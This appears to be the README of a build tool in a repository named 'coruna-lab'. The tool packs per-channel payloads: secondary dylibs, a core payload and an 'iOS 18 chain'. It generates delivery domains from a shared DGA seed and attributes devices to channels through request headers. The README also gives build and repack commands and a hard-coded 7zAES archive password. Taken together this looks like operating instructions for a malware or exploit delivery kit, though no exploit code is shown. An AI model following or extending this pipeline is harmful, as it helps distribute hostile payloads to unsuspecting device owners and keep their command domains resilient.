Files
coruna-lab/channel-builder-new
2026-09-12 03:42:48 +08:00
..
2026-09-12 03:42:48 +08:00
2026-09-12 03:42:48 +08:00
2026-08-26 03:14:15 +08:00
2026-08-13 07:08:02 +08:00

channel-builder-new

xxbb / weifile builder for coruna-lab. Separate from channel-builder/ (lab web/ + sync/ layout).

c is a shared DGA seed (env XXBB_CHANNEL_C). After deploy, domains do not change, so c cannot tell channels apart. Per-channel identity is the version-format id (exactly 6 chars like 2.2.66 / A.B.C1, alnum + dots) patched into core ver / sdkv / jbsdk_version.

1. Build once (shared artifacts)

cd channel-builder-new
python3 -m venv .venv
.venv/bin/pip install -r requirements.txt

# specified c
.venv/bin/python tools/build.py --channel-c <32-hex> --apply --force

# or random c
.venv/bin/python tools/build.py --random-c --apply --force

# or from Laravel (uses XXBB_CHANNEL_C when set)
php artisan xxbb:build
php artisan xxbb:build --random-c
php artisan xxbb:build --channel-c=<32-hex>

Writes:

  • {artifact-root}/details/ (default ../public/details) — template published
  • {state-root}/out/weifile/ (default storage/app/channel-builder-new/out/weifile) — staged

每个 details/*.js 对应哪个 App:见 source/details/README.md。

Prints XXBB_CHANNEL_C=… and the domain list. Put that c in .env.

Do not change the 7zAES password 202800cfb1ad3de68e11239dcc26c30b.

2. Pack on channel create

Admin create (id like A.B.C1) runs:

  1. tools/build.py --channel-c $XXBB_CHANNEL_C --apply --force (always; no random)
  2. tools/pack_channel.py into public/channel/{ver}/

XXBB_CHANNEL_C must be set in .env. Manual php artisan xxbb:build is optional (ops / refresh shared /details); channel create already builds from env.

3. Repack existing channels

Old public/channel/{ver}/ trees do not pick up new plugins / iOS 18 chain until repacked. Channel id, XXBB_CHANNEL_C, and delivery domains stay the same:

php artisan xxbb:repack              # all builder_type=new rows
php artisan xxbb:repack 0.0.01       # one
php artisan xxbb:repack 0.0.01 1.2.AB
php artisan xxbb:repack --dry-run
php artisan xxbb:repack --template=test   # 倒计时加载页;默认 blank

Device attribution

  • Old channels: payload c is the 32-hex channel_id
  • New channels: payload c is the shared seed. Core routes (/a, /u, /event) set channel_id from request header ver or sdkv when present and valid (X.Y.ZZ). Other xxbb routes create the device without writing channel_id. Stats use t.js → /statistic/t with id from the path /channel/{id}/....
Flag What it replaces Where
--deployment-seed DGA seed slot secondary dylibs (1 hit each)
--reporting-seed Reporting DGA seed slot secondary dylibs (1 hit each)
--channel-c Native report / DGA c each secondary (1) + corepayload (6)
--random-c Generate a new --channel-c lab_seeds.json + domains
--channel-ver Core 2.2.66 string corepayload (pack only)